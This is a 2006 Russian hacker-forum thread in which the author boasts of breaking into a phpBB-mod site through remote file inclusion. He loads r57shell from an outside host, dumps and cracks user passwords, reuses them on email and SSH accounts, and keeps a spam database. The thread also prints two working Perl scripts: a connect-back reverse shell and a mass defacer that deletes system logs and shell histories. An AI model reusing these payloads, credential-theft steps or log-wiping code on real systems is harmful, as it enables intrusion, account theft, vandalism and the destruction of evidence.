PDA

Просмотр полной версии : История одного взлома. Добыча маленьких хакерских радостей.


1ten0.0net1
29.09.2006, 19:13
Сразу хочу сказать, что целью статьи не было создание мануала по какому-либо методу взлома (это еще впереди ;-)).


Каждый из нас когда-то понял или поймёт, что адресная строка - это не просто набор бессмысленных символов, а такая же важная, если даже не боллее часть web-интерфейса, посредством которой происходит контроль за выполнением отдельных скриптов, программ. И вот, однажды, ты начинаешь понимать, что с помощью этой строки можно вполне управлять жизнью отдельного интернет проекта.
Но, как говорится "у семи нянек дитятко без глаза". Точно такие же ситуации очень часто можно встретить и внутри (точнее, чаще всего - снаружи, до внутренностей добираются далеко не все) какого-нибудь интернет ресурса, волею судеб попавшего под не совсем стандартный клик мышки.

Как-то вечером, ползая от одной закладки к другой, я искал что-нибудь интересное и одновременно достаточно полезное. В это время ко мне в асю постучал мой новый знакомый с античата. Поболтав с ним немного, мы пришли к выводу о необходимости совместной работы на благо сетевой безопасности.
Перврначальный объект - зарубежная хак-тима, желательно с форумом (в идеале-дырявым). Но, так как чудеса в нашей жизни случаются довольно редко, то мы не встретили никаких IPB 2.0.*, а нашли модифицированный phpBB, странный скрипт новостей и 2 SQL-инъекии, кот. не смогли реализовать в полной мере. Скрипт новостей был весьма странным и я незамедлительно зашел на официальный сайт разработчика и скачал архив с исходниками. В течение 2 долгих часов я пытался проявить чудеса изобретательности и обнаружить что-нибудь интересное. Но увы - интересное не обнаруживалось. Раздосадованный таким поворотом дел, я предложил другу заняться чем-нибудь более продуктивным, а конкретно, поиском маленьких хакерских ценностей, таких как аккаунты на ftp, мыльники, ssh-доступ и другие не менее интересные вещи, которые в дальнейшем можно было бы успешно реализовать. Не став особенно заморачиваться по поводу места будущей кормежки, мы порылись в запасе шеллов собственных, но остановились преимущественно на шеллах чужих.
Первый шелл был болен локальным инклудом, safe_mode: по всей видимости chroot. Надыбав за несколько минут конфиг к базе данных форума, пару файлов .serwice.pwd мы осознали, что ловить нам там практически было нечего, и поспешили обследовать другой сайт.

К сожалению, другой сайт не оказался более дружелюбным, и мы с товарищем решили на время заняться собственными делами. Не знаю, чем занялся он, но меня очень задело, что я столько врмени убил на поиск багов, а результаты все также не радовали. В это время в мою голову закралась мысль об использовании в своих целях багтрака.
Скажу честно - я очень рекдо пользуюсь багтраками (хотя стабильно слежу!) для собственных взломов, если целью самого взлома не является конкретный проект.
Так вот. Так как мне хотелось получить такие сайты, доступ к которым можно было бы потом сбагрить, я должен был заюзать только свежайшую багу, поэтому
всякие securityfocus'ы и прочие lab'ы мне не совсем подходили. Но как же найти сплоит для баги, которой еще нет на общеизвестных багтрак - лентах?
Ответ напрашивается сам собой - искать их на сайтах тех людей, которые пишут эксплоиты. Но так как память у меня хорошая только на пароли, а логины я запоминаю с трудом, мне все же пришлось зайти на milworm.com, где я открыл список web-application эксплоитов. В самой правой колонке можно было увидеть имя автора сплоита.
Чаще всего на странице мне встретилось имя rgod. Соответственно, открыв первый попавшийся сплоит, в шапке я высмотрел линк на сайт автора и сразу
же поспешил на него перейти.
Сайт встретил меня кроваво-черной палитрой, а я решил его встретить взломом. Конечно, мысль была не из лучших - ломать через WEB сайт багоискателя в WEB-приложениях, но почему-то конкретно в тот момент я над этим не задумался. Само собой, сайт я не взломал (не помню - то ли там все в html было сделано, то ли на java написано - не суть), зато в самой верхней строке найденных уязвимостей увидел ссылку на какой-то mod для phpBB (многие считают, что mod для phpBB - это какая-то редкость для интернет проектов, а между тем - каждый пятый форум имеет специальный темплейт, скин или мод, поэтому вероятность встретить бажный сайт была близка к 100%). После того как я бегло просмотрел суть бага, котрый представлял из себя не что иное, как Remote file including, я поспешил к Google. Забив имя скрипта
в поиске, я не увидел ни одной ссылки на security-сайты, что, само собой, весьма меня обрадовало.

Далее я набил в гугле
-inurl::"/script.php" и название срипта - Vita..(не помню точно) (мало ли - может его имя встретится где-нибудь внизу страницы).
И не прогадал - почти все ссылки были очень похожи на Proof of Concept (PoF) на сайте rgod'а.

Так как бага была свежайшей, я не стал переключать дальше второй страницы и открыв ссылку, приписал в самом конце после вопроса:
phpbb_root_ path=http://rst.void.ru/downloads/r57shell.php

Но ссылка выдала лишь пустую страницу. Что за херня? - подумал я, и, зная особенности подобных багов, а также фильтрации расширений в скриптах,
добавил символ ?
phpbb_root_ path=http://rst.void.ru/downloads/r57shell.php?

Палитра резко изменила цвет на цвет шелла. "Отлично!" - подумал я, и принялся исследовать скрипты.

Первой интересной находкой для меня стал файл config.php, который есть в любом phpBB форуме, независимо от наличия mod'ов. localhost, а также логин и пасс к базе данных MySQL я аккуратно выписал в блокнот. Это было моей первой находкой.

Второй моей находкой стала нехилая база мыльников и пассов к форуму. Саму базу я просматривал все с того же шелла, вбив адрес, порт, логин и пасс
для доступа к базе данных в соответствующие поля. Далее команды:
SHOW DATABASES;
USE phpbb;
SELECT * FROM phpbb_users;
На эту комманду браузер очень долго отвечал, поэтому я решил ограничить количество выводимых записей следующей командой:
SELECT * FROM phpbb_users LIMIT 50, 1 ;
Эта команда вывела мне 50 записей из таблицы phpbb_users начиная с первой
Каждый третий пассворд для форума (расшифрованные при помощи проги MD5 Inside по словарю) подходил и к указанному мылу. А мыльца там были преимущественно
раритетные - gmail, aol и т. п. В одном из мыл, помню как сейчас, мной был найден пароль к админке какого-то венгерского проекта...

Сам дамп я сделал через все тот же шелл, благо, там была предусмотрена такая функция. Права моего пользователя (команда id, я надеюсь, Вам это ивестно) совпадали с правами владельца сайта и поэтому дамп я спокойно записал в корневую директорию форума, к остальным скриптам.

Третьей моей находкой, которая по началу меня весьма удивила, стал непонятный файл с гордым именем 1.php посреди php скриптов.
Так как я 100% знал, что такого файла там быть не должно, я поспешил выполнить команду
cat 1.php
После прочтения первой строки мне все стало ясно:
#IRAN HACKERS SABOTAGE Connect Back Shell
Вот уроды! - выругался я. Мало того, что все сайты дефейсят, стоит только свежей баге появиться на багтраке, так они успели и до этой баги добраться!!!
Ну это беспредел просто. Конечно, после этой находки мои глаза стали следить за именами файлов и датами их изменений более тщательно. Если есть один файл,
то будут и другие, ведь хакеры редко останавливаются на заливке шелла.

Первым объектом для поиска стал одинаково любимый всеми, независимо от географического положения каталог /tmp.
cd /tmp
ls -ali
Что бы Вы думали? Посреди временных файлов сессий валялся файл с датой последнего изменения, соответсвующей сегодняшнему числу. Более того,
доблестные иранские хакеры даже не стали маскировать свои интсрументы и файл назвали bd.pl.
cat bd.pl
вернула мне следующее:

#!/usr/bin/perl
use IO::Socket;
#IRAN HACKERS SABOTAGE Connect Back Shell
#code by:LorD
#We Are :LorD-C0d3r-NT
#
#lord@SlackwareLinux:/home/programing$ perl dc.pl
#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
#
#Usage: dc.pl [Host] [Port]
#
#Ex: dc.pl 127.0.0.1 2121
#lord@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121
#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
#
# Resolving HostName
# Connecting... 127.0.0.1
# Spawning Shell
# Connected to remote host

#bash-2.05b# nc -vv -l -p 2121
#listening on [any] 2121 ...
#connect to [127.0.0.1] from localhost [127.0.0.1] 2121
#--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
#
#--==Systeminfo==--
#Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown GNU/Linux
#
#--==Userinfo==--
#uid=1001(lord) gid=100(users) groups=100(users)
#
#--==Directory==--
#/root
#
#--==Shell==--
#
$system = '/bin/sh';
$ARGC=@ARGV;
print "--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- \n\n";
if ($ARGC!=2) {
print "Usage: $0 [Host] [Port] \n\n";
die "Ex: $0 127.0.0.1 2121 \n";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
print " Resolving HostName\n";
print " Connecting... $ARGV[0] \n";
print " Spawning Shell \n";
print " Connected to remote host \n";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- \n\n";
system("unset HISTFILE; unset SAVEHIST ;echo --==Systeminfo==-- ; uname -a;echo;
echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- ");
system($system);
#EOF

Ну что ж, иранскими бекдорами я еще никогда не пользовался, поэтому я по-быстренькому скопипастил содержимое файла к себе в блокнот.

Далее был придуман следующий план.

1) Проверяю все поддиректории форума на наличие заныканных арабами шеллов (особой внимание к папкам типа uploads и avatars).
Все найденное переименовываю из 1.php во что-нибудь похожее на view_all.php. Ссылку на шелл сохраняю и юзаю в дальнейшем. Все
свежие файлы бегло просматриваю с целью выяалени дописанных арабами строк;
2) Собственными силами закрываю багу, предварительно убив все странные процессы типа bd.pl, особое внимание к процессам с большими значенями pid;
3) Удаляю все следы пребывания и мой шелл.

Итак, к командном варианте это выглядит так:
pwd
ls -al
cat elf ===============> команда выводит непонятный набор символов не несущих логической нагрузки, судя по названия сплоит для elf_lbl
Судя по времени закачан раньше бекдора. Где логика? Может иранский хакер был женщиной? Хотя вряд ли - у них там с эти сурово.
uname -a ===============> Linux 2.6.9, что подтверждает мою догадку.
rm elf

Открываю ссылку с шеллом в новом окне.
Далее:
pwd
mv 1.php view_all.php
touch -t 200505121905 (дату ставлю аналогичную остальным файлам в этой папке. Формат - yyyymmddhhmm, по русски - гггг(год)мм(месяц)дд(день)чч мм)
cat view_all.php =======> убедимся, что содержимое не изменилось. На всякий случай.
cd uploads
ls -lai
cd ../.. ===========> в гланую папку
Тут я обнаружил, что только на одном файле дата соответсвует сегодняшнему числу (точнее время присутствует)
Я даже не стал делать cat index.php, а сразу набил в адресной строке название файла и передо мной предстал ярко красный экран с надписью
Owned by mad Iranian hackerz.
После этого я окончательно разочаровался в арабских коллегах. Зато мне стала ясна история взлома сайта хакерами после заливки щелла.
Они залили ядерный эксплоит в папку /tmp. После этого дали chmod +x (разрешили выполнять). Потом при помощи бекдора попали в консоль. Потом
закачаный сплоит не сработал, они, скорее всего, попробовали еще парочку, и поняв, что Аллах сегодня не в духе. Изменили индекс и свалили. Хотя
я откуда знаю - свалили они или пошли сплоит искать? Проверим:
ps aux
В процессах висел и сплоит, и бэкдор.
Паливо, не спорю. Я решил, что они еще в консоли и поэтому дальше действовал так:
Выбираю опцию редактирование файла scipt.php

Бажную переменную phpbb_root_path (кстати, эта переменная очень часто встречается в багах модов для phpBB, возьми на заметку ;-)) обнаруживаю
во второй строке. Скрипт просто инклудит файл, не проверяя его существование и местоположение:
require ($phpbb_root_path/include/lib.inc.$phpExt);

Ну что ж - попробуем включить проверку. У меня два варианта защитных функций -
isset() (в первой строчке include, но путь задан константой, поэтому такая фича может и прокатить), либо
file_exist()

Пробую вставить конструкцию
if (isset ($phpbb_root_path))
перед бажной функцией require ().
Жму на кнопку Сохранить. (замечу, эти действия я уже проделывал из файла view_all.php)
Пробую запрос:
http://site.com/forum/script.php?phpbb_root_ path=http://rst.void.ru/downloads/r57shell.php
Пустая страница приветствует меня. ***** на моей стороне, и я, в роли админа, пока не упал лицом в грязь.
Далее пытаюсь удивить иранских друзей не менее, чем они удивили меня, оставив свои скрипты и сплоиты в директориях сайта.
ps ax
kill -9 347 417 (это pid для процессов "иранский сплоед" и "арабский бекдоръ") (я привожу примеры комманд. На самом деле, это могла быть kill -TERM и т. д.)

И тут же представляю себя в консоли. Я - злобный мусульманин, просматривающий содержимое директорий неплохого такого сервера, уставший после работы где-нибудь на нефтяной вышке слесарем.
Сижу за компьютером, купленным на проданные подешевке AK-47, перепробовав все известные только ****** сплоиты, просматриваю доступный на чтение рутовый .bash_history коммандой less{/COLOR].
В самой нижней строке консоли вижу
ssh root@209.181.93.687
И тут.... окошко с ошибкой типа, Network error, или что-то типа того. Я не хочу представлять, чем это закончилось.

Вернемся к моему браузеру. У нас есть -
а) закрытая бага;
б) шелл на форуме (кстати, многие подумают, что не стоило бы кидать шелл в корень форума, но команда last -10 явно сказала, что стоит);
в) злые иранские хакеры;

Ах, да! Забыл самое главное - у нас же дефейс висит, но т. к. у них сейчас ночь, а форум деловой, а не для отдыха, можно надеяться, что дефейс спалило не так много людей. Конечно, можно было бы выяснить это точно, просмотрев логи обращения к индексу, но я пошел на авось.
Мне очень повезло. Рядом с файлом index.php я нашел файл index_1.php
Странно, что он остался цел. Но это только радует, и я быстро делаю следующее:
rm index.php
mv index_1.php index.php
touch -t 200505182016 index.php

Захожу на индекс и проверяю, что все нормально. Индекс пестрый, что-то про ноутбуки.
Вспоминаю, что в одной из директорий висит дамп базы под именем 1.sql (кстати, как раз в upload).
cd /upload
rm 1.sql

Вот теперь - все. Сайт защитил, от админа сныкал, опыта набрался, трофеи тоже радуют, отстоял честь русских хакеров.
Цель достигнута и Морфей зовет на боковую. Я спать.

P. S. Трофеями выступили:
1) Аккаунт администратора;
Логин на форуме был ввиде фамилии, но потом, уже внутри консоли , я попробовал ssh some_login@209.181.93.68 ввел пасс админа форума и оказался на соседнем сервере.
2) Дамп базы данных далеко не самого забитого форума;
3) Спам база, выцеженая из дампа;
4) Аккаунт админа на каком-то венгерском проекте (p.s. на нем меня спалили и доступ я к нему потерял);
5) Иранский бекдор и шелл (скажу честно - шелл фуфло по сравнению с нашими - строк 20 кода);
6) Опыт администрирования и анализа содержимого скриптов;
7) [COLOR=Green]Приятный вечер и хорошее настроние.

Выводы каждый сделает сам, единственный совет - какой бы свежести не была бага и какой бы ни был сайт всегда смотрите процесы и ищите левые файлы.
Как говорится, кто ищет - тот всегда найдёт. =)
Удачи!

С уважением, 1ten0.0net1.

1ten0.0net1
14.10.2006, 23:52
Вот еще одна вещь, найденая мной во время этого же взлома - я не стал про нее в статье писать, но сейчас решил выложить.
Внимание!!!! Использование подобных скриптов не приветствуется ни в коей мере правилами античата и поэтому, мой совет подправить код, оставив только лог-клинер.



################################################## ################################################## #####
# MSRml V 0.1 #
# #
# MOROCCO.SECURITY.RULZ mass defacer and log eraser #
# #
# coded by PRI[ll #
# #
# !!!!PRIV8!!!!!PRIV8!!!!!PRIV8!!!!!PRIV8!!!! #
# #
# #
# #
# usage : perl MSRml.pl <path to index> #
# #
# example : perl MSRml.pl /tmp/index.html #
# #
# #
################################################## ################################################## #####
#!/usr/bin/perl
use strict;
my $index = $ARGV[0];
if ($ARGV[0])
{
if( -e $index )
{
system "echo -e \"\033[01;34mStarted MSRml V0.1 by PRI[ll Ok !!\033[01;37m\"\n";
system "echo -e \"\\033[01;37mDefacing all homepages ...\"\n";
system "find / -name \"index*\" -exec cp $index {} \\;";
system "find / -name \"main*\" -exec cp $index {} \\;";
system "find / -name \"home*\" -exec cp $index {} \\;";
system "find / -name \"default*\" -exec cp $index {} \\;";
system "echo -e \"\\033[01;37m[+] done ! all sites in this box should be defaced !\"\n";
system "echo -e \"\\033[01;37m----------------------------------------------------------\"\n";
system "echo -e \"\\033[01;37mCleaning up logs ...\"\n";
system "echo -e \"\033[01;34m---------erasing default log files (too fast =))---------\033[01;37m\"\n";
if( -e "/var/log/lastlog" )
{
system 'rm -rf /var/log/lastlog';
system "echo -e \"\\033[01;37m /var/log/lastlog -erased Ok\"\n";
}
else
{
system "echo -e \"\\033[01;31m /var/log/lastlog - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/log/wtmp" )
{
system 'rm -rf /var/log/wtmp';
system "echo -e \"\\033[01;37m /var/log/wtmp -erased Ok\"\n";
}
else
{
system "echo -e \"\\033[01;31m /var/log/wtmp - No such file or directory\\033[01;37m\"\n";
}
if( -e "/etc/wtmp" )
{
system 'rm -rf /etc/wtmp';
system "echo -e \"\\033[01;37m /etc/wtmp -erased Ok\"\n";
}
else
{
system "echo -e \"\\033[01;31m /etc/wtmp - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/run/utmp" )
{
system 'rm -rf /var/run/utmp';
system "echo -e \"\\033[01;37m /var/run/utmp -erased Ok\"\n";
}
else
{
system "echo -e \"\\033[01;31m /var/run/utmp - No such file or directory\\033[01;37m\"\n";
}
if( -e "/etc/utmp" )
{
system 'rm -rf /etc/utmp';
system "echo -e \"\\033[01;37m /etc/utmp -erased Ok\"\n";
}
else
{
system "echo -e \"\\033[01;31m /etc/utmp - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/log" )
{
system 'rm -rf /var/log';
system "echo -e \"\\033[01;37m /var/log -erased Ok\"\n";
}
else
{
system "echo -e \"\\033[01;31m /var/log - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/logs" )
{
system 'rm -rf /var/logs';
system "echo -e \"\\033[01;37m /var/logs -erased Ok\"\n";
}
else
{
system "echo -e \"\\033[01;31m /var/logs - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/adm" )
{
system 'rm -rf /var/adm';
system "echo -e \"\\033[01;37m /var/adm -erased Ok\"\n";
}
else
{
system "echo -e \"\\033[01;31m /var/adm - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/apache/log" )
{
system 'rm -rf /var/apache/log';
system "echo -e \"\\033[01;37m /var/apache/log -erased Ok\"\n";
}
else
{
system "echo -e \"\\033[01;31m /var/apache/log - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/apache/logs" )
{
system 'rm -rf /var/apache/logs';
system "echo -e \"\\033[01;37m /var/apache/logs -erased Ok\"\n";
}
else
{
system "echo -e \"\\033[01;31m /var/apache/logs - No such file or directory\\033[01;37m\"\n";
}
if( -e "/usr/local/apache/log" )
{
system 'rm -rf /usr/local/apache/log';
system "echo -e \"\\033[01;37m /usr/local/apache/log -erased Ok\"\n";
}
else
{
system "echo -e \"\\033[01;31m /usr/local/apache/log - No such file or directory\\033[01;37m\"\n";
}
if( -e "/usr/local/apache/logs" )
{
system 'rm -rf /usr/local/apache/logs';
system "echo -e \"\\033[01;37m /usr/local/apache/logs -erased Ok\"\n";
}
else
{
system "echo -e \"\\033[01;31m /usr/local/apache/logs - No such file or directory\\033[01;37m\"\n";
}
if( -e "/root/.bash_history" )
{
system 'rm -rf /root/.bash_history';
system "echo -e \"\\033[01;37m /root/.bash_history -erased Ok\"\n";
}
else
{
system "echo -e \"\\033[01;31m /root/.bash_history - No such file or directory\\033[01;37m\"\n";
}
if( -e "/root/.ksh_history" )
{
system 'rm -rf /root/.ksh_history';
system "echo -e \"\\033[01;37m /root/.ksh_history -erased Ok\"\n";
}
else
{
system "echo -e \"\\033[01;31m /root/.ksh_history - No such file or directory\\033[01;37m\"\n";
}
system "echo -e \"\\033[01;37m[+] -----done all default log and bash_history files erased !!\"\n";
system "echo -e \"\033[01;34m---------Now Erasing the rest of the machine log files (can be long :S)---------\033[01;37m\"\n";
system 'find / -name *.bash_history -exec rm -rf {} \;';
system "echo -e \"\\033[01;37m all *.bash_history files -erased Ok!\"\n";
system 'find / -name *.bash_logout -exec rm -rf {} \;';
system "echo -e \"\\033[01;37m all *.bash_logout files -erased Ok!\"\n";
system 'find / -name "log*" -exec rm -rf {} \;';
system "echo -e \"\\033[01;37m all log* files -erased Ok!\"\n";
system 'find / -name *.log -exec rm -rf {} \;';
system "echo -e \"\\033[01;37m all *.log files -erased Ok!\"\n";
system "echo -e \"\033[01;34m-------[+] !done all log files erased![+]-------\033[01;37m\"\n";
system "echo -e \"\033[01;34m---------------------------------------------------\033[01;37m\"\n";
system "echo -e \"\033[01;34m-----------------MSRml V 0.1----------------------\033[01;37m\"\n";
}
else
{
system "echo -e \"\\033[01;31m[-] Failed ! the path to u're index could not be found !\\033[01;37m\"\n";
exit;
}
}
else
{
system "echo -e \"\\033[01;37m!!Morocco.Security.Rulz mass defacer and log eraser !!\"\n";
system "echo -e \"\\033[01;37m!!!!!!!!!!!!!!!!!!coded by PRI[ll!!!!!!!!!!!!!!!!!!!!!!!!\"\n";
system "echo -e \"\\033[01;31m!!!!!!!!PRIV8!!!!!!!!PRIV8!!!!!!!!PRIV8!!!!! !!!PRIV8!!!!!!!!\\033[01;37m\"\n";
system "echo -e \"\\033[01;37musage : perl $0 <path too u're index>\"\n";
system "echo -e \"\\033[01;37mexample : perl $0 /tmp/index.html\"\n";
exit;
}


Удачи в начинаниях ;-)

_kREveDKo_
16.10.2006, 23:24
Между прочим читалось очень интересно, спасибо =)

=Be$=
16.10.2006, 23:38
Гуд, очень интересно.

EXSlim
16.10.2006, 23:44
Где-то ты уже ёё постил. Читал. Увлекательно...

bul.666
17.10.2006, 20:15
Очень интресно =)

vadimys
18.10.2006, 23:32
Мои трофеи:хорошее настроение от увлекательного чтения +дополнительные
знания.
Спасибо.

ground_zero
19.10.2006, 02:10
интересно +

yTka_xaker
22.10.2006, 02:46
Статья понравилась!

+toxa+
22.10.2006, 21:56
Мда... бывает стока трэша найти можно на сервах вскрытых.... попадается одэй тож кста))

KPOT_f!nd
23.10.2006, 03:22
хорошая статья! + тебе! Да же было интересно!